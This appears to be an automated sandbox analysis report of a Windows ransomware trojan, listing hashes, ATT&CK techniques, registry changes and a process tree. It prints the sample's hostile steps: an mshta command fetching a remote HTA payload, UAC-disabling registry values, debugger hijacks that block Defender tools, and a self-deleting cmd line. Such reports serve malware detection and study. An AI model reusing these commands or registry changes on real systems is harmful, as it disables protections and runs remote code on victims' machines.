4b68fd89f8a1fc7eea3c478c74c0677e280a94410906e85eb715a65dad31623c

Reason

Machine shutdown

General

Target

Trojan-Ransom.Win32.Blocker.exe
Size

1.0MB
MD5

985ee7dc0de6c5081bf40ba08b93d37b
SHA1

9386445adf364543c10c8f11cef54cfcd4fdd54f
SHA256

4b68fd89f8a1fc7eea3c478c74c0677e280a94410906e85eb715a65dad31623c
SHA512

ee5210ed05280eb101df79b6e0044c85fd7f222f6c0e8b25998bbfecadf6813276c35b42d661fe6d7739e94c249c3975941d35ee4d2ad48f99485b778e9a71ee
SSDEEP

24576:gljS8/Ns4q86Oh1Jp9cAnlwDUctAaxu19GroaJqlZJhUr:x8u4q8xXTeAnEUc6CuWroaJqFhUr

Score

10^/10

evasion persistence trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://93.115.82.248/?0=1&1=0&2=9&3=i&4=7601&5=1&6=1111&7=fbwicfagwq

Signatures

UAC bypass 3 TTPs 3 IoCs

evasion trojan

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	guard-kgch.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	guard-kgch.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	guard-kgch.exe

Executes dropped EXE 1 IoCs

pid	Process
1748	guard-kgch.exe

Sets file execution options in registry 2 TTPs 12 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe	guard-kgch.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	guard-kgch.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "svchost.exe"	guard-kgch.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCui.exe	guard-kgch.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpCmdRun.exe\Debugger = "svchost.exe"	guard-kgch.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpUXSrv.exe	guard-kgch.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe	guard-kgch.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe\Debugger = "svchost.exe"	guard-kgch.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe\Debugger = "svchost.exe"	guard-kgch.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCui.exe\Debugger = "svchost.exe"	guard-kgch.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpCmdRun.exe	guard-kgch.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpUXSrv.exe\Debugger = "svchost.exe"	guard-kgch.exe

Deletes itself 1 IoCs

pid	Process
1816	cmd.exe

Loads dropped DLL 2 IoCs

pid	Process
940	Trojan-Ransom.Win32.Blocker.exe
940	Trojan-Ransom.Win32.Blocker.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Windows\CurrentVersion\Run	guard-kgch.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Windows\CurrentVersion\Run\GuardSoftware = "C:\\Users\\Admin\\AppData\\Roaming\\guard-kgch.exe"	guard-kgch.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	guard-kgch.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	checkip.dyndns.org

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\services.msc	guard-kgch.exe
File opened for modification	C:\Windows\SysWOW64\eventvwr.msc	guard-kgch.exe
File opened for modification	C:\Windows\SysWOW64\diskmgmt.msc	guard-kgch.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
1748	guard-kgch.exe
1748	guard-kgch.exe
1748	guard-kgch.exe
1748	guard-kgch.exe
1748	guard-kgch.exe
1748	guard-kgch.exe
1748	guard-kgch.exe
1748	guard-kgch.exe
1748	guard-kgch.exe
1748	guard-kgch.exe
1748	guard-kgch.exe
1748	guard-kgch.exe
1748	guard-kgch.exe
1748	guard-kgch.exe
1748	guard-kgch.exe
1748	guard-kgch.exe
1748	guard-kgch.exe
1748	guard-kgch.exe
1748	guard-kgch.exe
1748	guard-kgch.exe
1748	guard-kgch.exe
1748	guard-kgch.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1748	guard-kgch.exe
Token: SeShutdownPrivilege	1748	guard-kgch.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1748	guard-kgch.exe
1748	guard-kgch.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
1748	guard-kgch.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
940	Trojan-Ransom.Win32.Blocker.exe
1748	guard-kgch.exe
1748	guard-kgch.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 940 wrote to memory of 1748	940	Trojan-Ransom.Win32.Blocker.exe	28
PID 940 wrote to memory of 1748	940	Trojan-Ransom.Win32.Blocker.exe	28
PID 940 wrote to memory of 1748	940	Trojan-Ransom.Win32.Blocker.exe	28
PID 940 wrote to memory of 1748	940	Trojan-Ransom.Win32.Blocker.exe	28
PID 940 wrote to memory of 1816	940	Trojan-Ransom.Win32.Blocker.exe	29
PID 940 wrote to memory of 1816	940	Trojan-Ransom.Win32.Blocker.exe	29
PID 940 wrote to memory of 1816	940	Trojan-Ransom.Win32.Blocker.exe	29
PID 940 wrote to memory of 1816	940	Trojan-Ransom.Win32.Blocker.exe	29
PID 1748 wrote to memory of 980	1748	guard-kgch.exe	31
PID 1748 wrote to memory of 980	1748	guard-kgch.exe	31
PID 1748 wrote to memory of 980	1748	guard-kgch.exe	31
PID 1748 wrote to memory of 980	1748	guard-kgch.exe	31

System policy modification 1 TTPs 5 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	guard-kgch.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	guard-kgch.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableVirtualization = "0"	guard-kgch.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	guard-kgch.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	guard-kgch.exe

C:\Users\Admin\AppData\Local\Temp\Trojan-Ransom.Win32.Blocker.exe
"C:\Users\Admin\AppData\Local\Temp\Trojan-Ransom.Win32.Blocker.exe"
1⤵
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:940
- C:\Users\Admin\AppData\Roaming\guard-kgch.exe
  C:\Users\Admin\AppData\Roaming\guard-kgch.exe
  2⤵
  - UAC bypass
  - Executes dropped EXE
  - Sets file execution options in registry
  - Adds Run key to start application
  - Checks whether UAC is enabled
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:1748
- - C:\Windows\SysWOW64\mshta.exe
    mshta.exe "http://93.115.82.248/?0=1&1=0&2=9&3=i&4=7601&5=1&6=1111&7=fbwicfagwq"
    3⤵
    PID:980
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\TROJAN~1.EXE" >> NUL
  2⤵
  - Deletes itself
  PID:1816

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x0
1⤵
PID:824

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x1
1⤵
PID:2000

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

2

T1060

Privilege Escalation

Bypass User Account Control

1

T1088

Defense Evasion

Bypass User Account Control

1

T1088

Disabling Security Tools

Modify Registry

Credential Access

Discovery

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\guard-kgch.exe

Filesize
1.0MB

MD5
985ee7dc0de6c5081bf40ba08b93d37b

SHA1
9386445adf364543c10c8f11cef54cfcd4fdd54f

SHA256
4b68fd89f8a1fc7eea3c478c74c0677e280a94410906e85eb715a65dad31623c

SHA512
ee5210ed05280eb101df79b6e0044c85fd7f222f6c0e8b25998bbfecadf6813276c35b42d661fe6d7739e94c249c3975941d35ee4d2ad48f99485b778e9a71ee

Download Submit
C:\Users\Admin\AppData\Roaming\guard-kgch.exe

Filesize
1.0MB

MD5
985ee7dc0de6c5081bf40ba08b93d37b

SHA1
9386445adf364543c10c8f11cef54cfcd4fdd54f

SHA256
4b68fd89f8a1fc7eea3c478c74c0677e280a94410906e85eb715a65dad31623c

SHA512
ee5210ed05280eb101df79b6e0044c85fd7f222f6c0e8b25998bbfecadf6813276c35b42d661fe6d7739e94c249c3975941d35ee4d2ad48f99485b778e9a71ee

Download Submit
\Users\Admin\AppData\Roaming\guard-kgch.exe

Filesize
1.0MB

MD5
985ee7dc0de6c5081bf40ba08b93d37b

SHA1
9386445adf364543c10c8f11cef54cfcd4fdd54f

SHA256
4b68fd89f8a1fc7eea3c478c74c0677e280a94410906e85eb715a65dad31623c

SHA512
ee5210ed05280eb101df79b6e0044c85fd7f222f6c0e8b25998bbfecadf6813276c35b42d661fe6d7739e94c249c3975941d35ee4d2ad48f99485b778e9a71ee

Download Submit
\Users\Admin\AppData\Roaming\guard-kgch.exe

Filesize
1.0MB

MD5
985ee7dc0de6c5081bf40ba08b93d37b

SHA1
9386445adf364543c10c8f11cef54cfcd4fdd54f

SHA256
4b68fd89f8a1fc7eea3c478c74c0677e280a94410906e85eb715a65dad31623c

SHA512
ee5210ed05280eb101df79b6e0044c85fd7f222f6c0e8b25998bbfecadf6813276c35b42d661fe6d7739e94c249c3975941d35ee4d2ad48f99485b778e9a71ee

Download Submit
memory/824-72-0x000007FEFBA81000-0x000007FEFBA83000-memory.dmp

Filesize
8KB

Download
memory/940-66-0x00000000002E0000-0x000000000033F000-memory.dmp

Filesize
380KB

Download
memory/940-57-0x0000000003230000-0x0000000003234000-memory.dmp

Filesize
16KB

Download
memory/940-55-0x0000000000400000-0x000000000058A000-memory.dmp

Filesize
1.5MB

Download
memory/940-65-0x0000000000400000-0x000000000058A000-memory.dmp

Filesize
1.5MB

Download
memory/940-54-0x0000000075521000-0x0000000075523000-memory.dmp

Filesize
8KB

Download
memory/940-56-0x00000000002E0000-0x000000000033F000-memory.dmp

Filesize
380KB

Download
memory/1748-67-0x0000000000400000-0x000000000058A000-memory.dmp

Filesize
1.5MB

Download
memory/1748-68-0x0000000001DD0000-0x0000000001E2F000-memory.dmp

Filesize
380KB

Download
memory/1748-70-0x0000000000400000-0x000000000058A000-memory.dmp

Filesize
1.5MB

Download
memory/1748-71-0x0000000001DD0000-0x0000000001E2F000-memory.dmp

Filesize
380KB

Download
memory/1748-73-0x0000000000400000-0x000000000058A000-memory.dmp

Filesize
1.5MB

Download
memory/1748-74-0x0000000001DD0000-0x0000000001E2F000-memory.dmp

Filesize
380KB

Download

Analysis

Sharing

Errors

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads